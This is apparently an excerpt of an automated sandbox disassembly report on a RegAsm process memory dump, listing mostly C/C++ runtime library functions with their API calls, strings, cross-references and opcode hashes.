String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr$uS
API String ID: 138750261-172234052
Opcode ID: c09677eac4ef41ca6d02165598f8bd20fa768965569d5f17ee708976b6763b84
Instruction ID: 021091b49bba7b252cf704cfd7151fae3891600384b2777c9651b7b3d27b4641
Opcode Fuzzy Hash: c09677eac4ef41ca6d02165598f8bd20fa768965569d5f17ee708976b6763b84
Instruction Fuzzy Hash: 0391D771C0410BAACB19EBB4DC9EAFE7F78FB5530CF64491AF102A6191DF759A088760

Function 0054647A Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 332COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00546543
DName::operator+.LIBCMT ref: 00546580
DName::DName.LIBVCRUNTIME ref: 00546594
DName::operator+.LIBCMT ref: 005465A3
DName::operator+.LIBCMT ref: 00546631
DName::DName.LIBVCRUNTIME ref: 00546659
DName::operator+.LIBCMT ref: 00546667
DName::operator+.LIBCMT ref: 005466A1
DName::operator+.LIBCMT ref: 005466E2
UnDecorator::getReturnType.LIBCMT ref: 00546712
operator+.LIBVCRUNTIME ref: 00546814

Strings

QuT, xrefs: 00546758, 0054664A

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID: QuT
API String ID: 2932655852-2893120971
Opcode ID: aa5c678fd647dcf6112b951906b66b392665429131e56a6cc116a9c5b71ca7c4
Instruction ID: 40c04e3d1db91fb46bc78a55f4f1d36e9028165b5c24f5072f060e2fdb628973
Opcode Fuzzy Hash: aa5c678fd647dcf6112b951906b66b392665429131e56a6cc116a9c5b71ca7c4
Instruction Fuzzy Hash: 89C1747190020AAFCF18EFA4D89AEEE7FB4FB59308F14055EF502A7291DB309A45CB51

Function 00547A0C Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00547A77
DName::operator+.LIBCMT ref: 00547BBA

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

DName::operator+.LIBCMT ref: 00547B65
DName::operator+.LIBCMT ref: 00547C06
DName::operator+.LIBCMT ref: 00547C15
DName::operator+.LIBCMT ref: 00547D41
DName::operator=.LIBVCRUNTIME ref: 00547D81
DName::DName.LIBVCRUNTIME ref: 00547D8B
DName::operator+.LIBCMT ref: 00547DA8
DName::operator+.LIBCMT ref: 00547DB4

Part of subcall function 005492A6: Replicator::operator[].LIBCMT ref: 005492E3

Strings

`anonymous namespace', xrefs: 00547CC6

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]shared_ptr
String ID: `anonymous namespace'
API String ID: 1043660730-3062148218
Opcode ID: 0f7e5eadeec7c73baec595136142c1ea2ac402a727c1d1c48eb2e3fc8fd16696
Instruction ID: 6843d477c8b208dc43977378a45748e64898de071f3448f0418aadddbe310b70
Opcode Fuzzy Hash: 0f7e5eadeec7c73baec595136142c1ea2ac402a727c1d1c48eb2e3fc8fd16696
Instruction Fuzzy Hash: 5CC1DFB1D04209AFDB24DFA4D849BEABFF8BF59308F10445DE546A7291EB709A48CF50

Function 005492A6 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 005492E3

Strings

uS, xrefs: 005493DF
q[T, xrefs: 005493F3
template-parameter-, xrefs: 00549342
generic-type-, xrefs: 00549369
`template-parameter-, xrefs: 00549354
@, xrefs: 0054944F
`generic-type-, xrefs: 0054937F
q[T, xrefs: 00549335

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Replicator::operator[]
String ID: @$`generic-type-$`template-parameter-$generic-type-$q[T$q[T$template-parameter-$uS
API String ID: 3676697650-742058369
Opcode ID: b266f6adf8963ed7613a7b2dc4edef15d4e769120d7c20883a63c0eb00490105
Instruction ID: 9bd8cd0364fcd6040279b2118463d8ac451244748b86cd66e3e79245c58435c9
Opcode Fuzzy Hash: b266f6adf8963ed7613a7b2dc4edef15d4e769120d7c20883a63c0eb00490105
Instruction Fuzzy Hash: 9F61C171D00209AFCB04DFA4D847AEFBFB8BF59318F104419EA41B72A1DB749A09CB90

Function 00540110 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,0041F86B,00000000,00000000,56A9C068,?,?,?,Function_00140780,00588468,000000FE,?,0041F869,00000001), ref: 00540199
MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,?,00000000,00000000,?,Function_00140780,00588468,000000FE,?,0041F869), ref: 00540214
SysAllocString.OLEAUT32(00000000), ref: 0054021F
_com_issue_error.COMSUPP ref: 00540248
_com_issue_error.COMSUPP ref: 00540252
GetLastError.KERNEL32(80070057,56A9C068,?,?,?,Function_00140780,00588468,000000FE,?,0041F869,00000001), ref: 00540257
_com_issue_error.COMSUPP ref: 0054026A
GetLastError.KERNEL32(00000000,?,?,?,Function_00140780,00588468,000000FE,?,0041F869,00000001), ref: 00540280
_com_issue_error.COMSUPP ref: 00540293

Strings

uS, xrefs: 005402CF

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID: uS
API String ID: 1353541977-336044122
Opcode ID: 71b1ed4183e2e368b4fa1349d6540803a7ace21301d1342b97019e13a4dc057d
Instruction ID: 921b6c734bfe912ccb6cad27f360aa9d70cc9ae2e3493677c95e6d37f0840b02
Opcode Fuzzy Hash: 71b1ed4183e2e368b4fa1349d6540803a7ace21301d1342b97019e13a4dc057d
Instruction Fuzzy Hash: EB41D875A04205ABDB109F68DC4DBEEBFA8FB44718F305229FA19E72C0D7B49900D7A4

Function 005473F8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00547463
operator+.LIBVCRUNTIME ref: 005474B3
shared_ptr.LIBCMT ref: 0054757F
DName::DName.LIBVCRUNTIME ref: 005475AF
operator+.LIBVCRUNTIME ref: 00547610

Strings

std::nullptr_t , xrefs: 005475FE
volatile , xrefs: 00547445, 00547561
std::nullptr_t, xrefs: 00547621
volatile, xrefs: 00547455, 00547571

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: operator+shared_ptr$NameName::
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2894330373-757766384
Opcode ID: 5b39598cdee701266bcd4a29a5489d3849a13c986ccccceb71feb6398e236aa2
Instruction ID: 4034a84d63f7c806bf9577f67474e9ac594c017c4b04d29f7d75d20f32ae8d92
Opcode Fuzzy Hash: 5b39598cdee701266bcd4a29a5489d3849a13c986ccccceb71feb6398e236aa2
Instruction Fuzzy Hash: 06618D7180810EEFCF14DFA8C8499F9BFB5FB49308F14856AE8459B221E3769A05DF90

Function 00565CA3 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0056560F), ref: 00565CBC

Strings

uS, xrefs: 00565D86, 00565E30, 00565E76
log10, xrefs: 00565CFE, 00565D0D
pow, xrefs: 00565D5A, 00565E04, 00565E51
asin, xrefs: 00565DE9
sqrt, xrefs: 00565DFB
exp, xrefs: 00565D3B, 00565DA0
log, xrefs: 00565D19, 00565D28
acos, xrefs: 00565DF2

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt$uS
API String ID: 3527080286-2739184785
Opcode ID: 25751ac0d0603cd8b09f5a734bde58e1ff3fbcfc556d2cb5e37cb6c4650fd0c1
Instruction ID: ab09a093358149d20da328d25146e521c75f02dc653f3d2b25e34d94b09d6799
Opcode Fuzzy Hash: 25751ac0d0603cd8b09f5a734bde58e1ff3fbcfc556d2cb5e37cb6c4650fd0c1
Instruction Fuzzy Hash: 5251BC70940E0ACBDF108FA8E84C1ADBFB8FF08304F544585D491AB294EB768B69DF91

Function 00547646 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBVCRUNTIME ref: 005476A9
DName::operator+.LIBCMT ref: 00547767
operator+.LIBVCRUNTIME ref: 005477A6

Strings

cli::array<, xrefs: 00547743
void , xrefs: 00547693
std::nullptr_t , xrefs: 005476FD
cli::pin_ptr<, xrefs: 0054777D
std::nullptr_t, xrefs: 005476ED
void, xrefs: 00547674

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: operator+$Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 1198235884-2239912363
Opcode ID: f8a465d2f7bafde2d392e0162855014c516aac35bc46d2a66b85751117c165f4
Instruction ID: 8d18a8613de07eef322809ce44fc075c764ca1a0be3f08b7bc39741e1f717549
Opcode Fuzzy Hash: f8a465d2f7bafde2d392e0162855014c516aac35bc46d2a66b85751117c165f4
Instruction Fuzzy Hash: 1E4156B080860DAFDF24CF54D849BEEBFF6BB09308F518449E9156B261D7B49A48CF80

Function 0054603A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 005460AB
DName::operator+.LIBCMT ref: 005460F3
DName::DName.LIBVCRUNTIME ref: 00546123

Strings

unsigned , xrefs: 005460D2
char , xrefs: 0054606D
short , xrefs: 00546076
int , xrefs: 00546086
long , xrefs: 00546096

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+shared_ptr
String ID: char $int $long $short $unsigned
API String ID: 3919194733-3894466517
Opcode ID: ac22c2de9ff5b82de2cc33959c3fe7a74ce7f47ea181e23485cd5f9b71f5ed71
Instruction ID: 91b9bb37adf611b9ff29385a9645b0e372e3e5711bf790d3efc25e6331a62cc1
Opcode Fuzzy Hash: ac22c2de9ff5b82de2cc33959c3fe7a74ce7f47ea181e23485cd5f9b71f5ed71
Instruction Fuzzy Hash: 41212AB4800249EFCF04CFA4C899BEDBFB4FB16308F10858AE515A7292D7B49648CF42

Function 00540780 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005407B7
___except_validate_context_record.LIBVCRUNTIME ref: 005407BF
_ValidateLocalCookies.LIBCMT ref: 00540848
__IsNonwritableInCurrentImage.LIBCMT ref: 00540873
_ValidateLocalCookies.LIBCMT ref: 005408C8

Strings

uS, xrefs: 0054088C
csm, xrefs: 0054085D

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$uS
API String ID: 1170836740-2183362451
Opcode ID: 02026319203c51cbade51a1027ce1deb871be51cd94b8956a2b35aad12176f88
Instruction ID: f3981e0b31e01d29bf23605c3d6dca02bc642a8a9e891d00e0336b9d76198f78
Opcode Fuzzy Hash: 02026319203c51cbade51a1027ce1deb871be51cd94b8956a2b35aad12176f88
Instruction Fuzzy Hash: 8B41B434A002099BCF10DF68C885ADEBFB5FF45318F249059EA18AB392D735EA05CBD1

Function 00549152 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00549196
DName::operator+.LIBCMT ref: 005491A2

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

DName::operator+=.LIBCMT ref: 00549260

Part of subcall function 00547A0C: DName::operator+.LIBCMT ref: 00547A77
Part of subcall function 00547A0C: DName::operator+.LIBCMT ref: 00547D41

Part of subcall function 005435B5: DName::operator+.LIBCMT ref: 005435D6

DName::operator+.LIBCMT ref: 0054921D

Part of subcall function 005436E2: DName::operator=.LIBVCRUNTIME ref: 00543703

DName::DName.LIBVCRUNTIME ref: 00549284
DName::operator+.LIBCMT ref: 00549290

Strings

{for , xrefs: 005491C9

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID: {for
API String ID: 2795783184-864106941
Opcode ID: 0aa44ef509aefa56e5fb15d3ed05f4c0eea1a4ef496b614531e8f3084956be7d
Instruction ID: 663c8c93333c08a5af8739b08af78ebb7988052c83ac7587712d9fc4e73ecdeb
Opcode Fuzzy Hash: 0aa44ef509aefa56e5fb15d3ed05f4c0eea1a4ef496b614531e8f3084956be7d
Instruction Fuzzy Hash: 154104B4A04245BFDB14DFA4C89AAEF7FF9BB4A308F004458E186A72A1D7749E44CB54

Function 005447BC Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005446AF: Replicator::operator[].LIBCMT ref: 0054471B

DName::DName.LIBVCRUNTIME ref: 00544808
DName::operator+.LIBCMT ref: 0054484E

Strings

..., xrefs: 0054487F
<ellipsis>, xrefs: 0054488F
void, xrefs: 005448A0
,<ellipsis>, xrefs: 00544839
,..., xrefs: 00544829

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 583996491-2211150622
Opcode ID: 3492c8023656a5f6f15862f652738a3cf5ed6a630e02b039b4c5ba4f6ac07d46
Instruction ID: 0fac9a67e45c6a0c0524414c15fb2ed08adb66b02e5bc4a613800fd37628cf0c
Opcode Fuzzy Hash: 3492c8023656a5f6f15862f652738a3cf5ed6a630e02b039b4c5ba4f6ac07d46
Instruction Fuzzy Hash: DE317CB0940289EFDB04CF98D8597EEBFF0FB05308F00854AEA95AB261C7749609DF81

Function 00508650 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 338COMMON

Download Yara Rule

Strings

!kcc, xrefs: 0050896C
7, xrefs: 005089F7
>, xrefs: 005088A0

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !kcc$7$>
API String ID: 0-3074482854
Opcode ID: fb0dfb79801743c21186c78e2cad15b086682c7c1a82ef3855c7c0dfd99f72eb
Instruction ID: e6b56d590888437b401fbd4ae6fa5c163daf3b81139779553f98c1f5918ce4c2
Opcode Fuzzy Hash: fb0dfb79801743c21186c78e2cad15b086682c7c1a82ef3855c7c0dfd99f72eb
Instruction Fuzzy Hash: 50F14874D04258DFDB14CFA8C890BEEBBB1BF49304F2485A9D845AB381DB359A45CF51

Function 0055B432 Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0055B4B8

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 295b9cc952ce91fe88561d2ad070eb42c8d12d78eb2505e1aa2abdc96a2c857d
Instruction ID: 8340d1de1df966b4bc443f46742991bc8590302f476dcad24303c93d2bfb2e7f
Opcode Fuzzy Hash: 295b9cc952ce91fe88561d2ad070eb42c8d12d78eb2505e1aa2abdc96a2c857d
Instruction Fuzzy Hash: D9B157729003569FFF258F24CCAABAE7FA5FF99311F144156ED00AB282E3749905C7A1

Function 00418CD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 00418D95
_memcpy_s.LIBCPMTD ref: 00418DCE
_memcpy_s.LIBCPMTD ref: 00418E79
_memcpy_s.LIBCPMTD ref: 00418EB2

Strings

Info, xrefs: 00418DF1
Salt, xrefs: 00418D10

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: Info$Salt
API String ID: 2001391462-2052181562
Opcode ID: 6690312f40285432a8ddfbac61699edc478fc00efab240cd0606b20d90a62bb8
Instruction ID: a950d269242dfe9dd52c7fcc47e69861c35a5128e8b58a5cbb34649cfbeae689
Opcode Fuzzy Hash: 6690312f40285432a8ddfbac61699edc478fc00efab240cd0606b20d90a62bb8
Instruction Fuzzy Hash: 8391C8B5E002089FCB18DF95D891AEEBBB5BF58700F20815EE519B7391DB34A941CF54

Function 005449D6 Relevance: 10.7, APIs: 7, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00544A64
DName::operator+.LIBCMT ref: 00544AB7

Part of subcall function 0054368A: shared_ptr.LIBCMT ref: 005436A6

Part of subcall function 005435B5: DName::operator+.LIBCMT ref: 005435D6

DName::operator+.LIBCMT ref: 00544AA8
DName::operator+.LIBCMT ref: 00544B08
DName::operator+.LIBCMT ref: 00544B15
DName::operator+.LIBCMT ref: 00544B5C
DName::operator+.LIBCMT ref: 00544B69

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$shared_ptr
String ID:
API String ID: 1037112749-0
Opcode ID: b9a7eb6a02f97c272ef14c53133defa3641d00bb7b7a4d13cf81fd690010cd6a
Instruction ID: 5d99feb53ccfbfc570d0b77c02ed575b7953432501de9806d7671a74e92f01aa
Opcode Fuzzy Hash: b9a7eb6a02f97c272ef14c53133defa3641d00bb7b7a4d13cf81fd690010cd6a
Instruction Fuzzy Hash: A151A171D4020AABDF18DB94C849EEEBFB9FF48304F044459F501A7290EB709A48CFA4

Function 005488CA Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSignedDimension.LIBCMT ref: 0054891B

Strings

uS, xrefs: 00548962
`template-parameter, xrefs: 00548985
void, xrefs: 005488EB

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned
String ID: `template-parameter$uS$void
API String ID: 2996861206-2986298104
Opcode ID: dcbca23786ab9ebcca738f5e974f20defe8fbaa0ca7609052ed66dac36af4494
Instruction ID: 530430bb251fd7e7ca1b2ce5dc86491989f0a149b071517e6f4366dd81a2b71e
Opcode Fuzzy Hash: dcbca23786ab9ebcca738f5e974f20defe8fbaa0ca7609052ed66dac36af4494
Instruction Fuzzy Hash: 5A31527190420EABDF04DBE4D85ABFEBBF8BB5C308F10441AE601B3191DB749A0C9B65

Function 0055A8F2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,0041C3C8,?,56A9C068,?,0055AA01,0041C3C8,0053E038,00000000,0041C3C8), ref: 0055A9B3

Strings

api-ms-, xrefs: 0055A949
ext-ms-, xrefs: 0055A95D

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 0fdcc605303da6b2f7034f1edd11ac72101ec615f719029160a6f8f46c5f4c57
Instruction ID: da48f7548a0f73b2077f71ef9ff21d7726c303b33cafd8cbef9bf5e1d652bec0
Opcode Fuzzy Hash: 0fdcc605303da6b2f7034f1edd11ac72101ec615f719029160a6f8f46c5f4c57
Instruction Fuzzy Hash: AB210831A00225FBC7228B64DC64A5A3B78FB527A1F220326EC05A7290D770ED08D6E2

Function 0053F1A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0053F1AB
std::_Lockit::_Lockit.LIBCPMT ref: 0053F1B6
std::_Lockit::~_Lockit.LIBCPMT ref: 0053F224

Part of subcall function 0053F307: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0053F31F

std::locale::_Setgloballocale.LIBCPMT ref: 0053F1D1
_Yarn.LIBCPMT ref: 0053F1E7

Strings

uS, xrefs: 0053F1F3, 0053F217

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID: uS
API String ID: 1088826258-336044122
Opcode ID: 30d08187774148631f3dd7c5042b4ac3f50f1a4c5ff9695420ee58a21d1aa257
Instruction ID: 5de2392838dceab92e60f7cdfc245ce36761020e89b9f594e1b0e2e664887ed8
Opcode Fuzzy Hash: 30d08187774148631f3dd7c5042b4ac3f50f1a4c5ff9695420ee58a21d1aa257
Instruction Fuzzy Hash: 9F01DF79A005129BDB06EF20D85A97DBFB5FFD4700F144019E81267381CF74AE06DB92

Function 0054F668 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,56A9C068,?,?,00000000,0056A4F0,000000FF,?,0054F644,?,?,0054F618,00000000), ref: 0054F69D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0054F6AF
FreeLibrary.KERNEL32(00000000,?,00000000,0056A4F0,000000FF,?,0054F644,?,?,0054F618,00000000), ref: 0054F6D1

Strings

uS, xrefs: 0054F6C0
CorExitProcess, xrefs: 0054F6A7
mscoree.dll, xrefs: 0054F696

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll$uS
API String ID: 4061214504-1639456704
Opcode ID: 0ae593fa9a2cb0efe76a46784ed79c5ef985e7b783321e4dab80a9c5fb622def
Instruction ID: dc1d690a658764fb77f5f4f7c88622c6a2ef2e4ce2d0e2280e886df1ad3fa834
Opcode Fuzzy Hash: 0ae593fa9a2cb0efe76a46784ed79c5ef985e7b783321e4dab80a9c5fb622def
Instruction Fuzzy Hash: DE016231A50659EFEB118F58DC09BAEBFB8FB44B15F000626E811E32E0DBB59944CB91

Function 00418600 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00418612
int.LIBCPMTD ref: 00418624

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 0041866B
std::_Lockit::~_Lockit.LIBCPMT ref: 004186E1

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: fcf074ac198ef22dd4cb04887d15906ab0338ad049432f7b9d5a1a182cf364b9
Instruction ID: 0199eea585d919c532870c525719b061cd6942339d21c6b0a82242c96965bb99
Opcode Fuzzy Hash: fcf074ac198ef22dd4cb04887d15906ab0338ad049432f7b9d5a1a182cf364b9
Instruction Fuzzy Hash: 4431B3B5D00209EFCB04DF95D585AEEBBB5BF48300F108A6AE815B7390DB34AA45CF95

Function 0054E416 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 181COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0054E4B3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0054E5BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0054E5CD

Strings

=T, xrefs: 0054E421

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: =T
API String ID: 885266447-3806340721
Opcode ID: d822b3af1fe3d9f3b6ced3cd5c1978937d14edb7e4b25b420f3795e4590ff45a
Instruction ID: 802f42fe8954b042431766edbb863acf8f59caeff2da4b8ffacaa20abaed0416
Opcode Fuzzy Hash: d822b3af1fe3d9f3b6ced3cd5c1978937d14edb7e4b25b420f3795e4590ff45a
Instruction Fuzzy Hash: AD513E75A00209AFCF14DF98C886AEEBFB6FB89318F148559E855A7351E230DE41DB60

Function 005446AF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054471B
DName::operator=.LIBVCRUNTIME ref: 005447B0

Strings

GT, xrefs: 005446B7
GT, xrefs: 0054472E

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator=Replicator::operator[]
String ID: GT$GT
API String ID: 3211817929-2152628013
Opcode ID: 7b7dd62dbc9dfedf20a5674f537840bd6a9ddecca403dfe298fcd1bb64d7a993
Instruction ID: a56c8e332ea45dc530618a1a94d2c359f5915028fee701a0cac8cc098a6f2e50
Opcode Fuzzy Hash: 7b7dd62dbc9dfedf20a5674f537840bd6a9ddecca403dfe298fcd1bb64d7a993
Instruction Fuzzy Hash: E63121716402459BD714DBA4C88ABFE7FF9FB4371DF14081DE581972A2DBB0990ACB50

Function 005459FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005432B3: pDNameNode::pDNameNode.LIBCMT ref: 005432D9

DName::DName.LIBVCRUNTIME ref: 00545ABB
DName::operator+.LIBCMT ref: 00545AC9

Strings

void , xrefs: 00545A64
void, xrefs: 00545A4C

Memory Dump Source

Source File: 00000003.00000002.2394550409.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::Name::operator+NodeNode::p
String ID: void$void
API String ID: 3257498322-3746155364
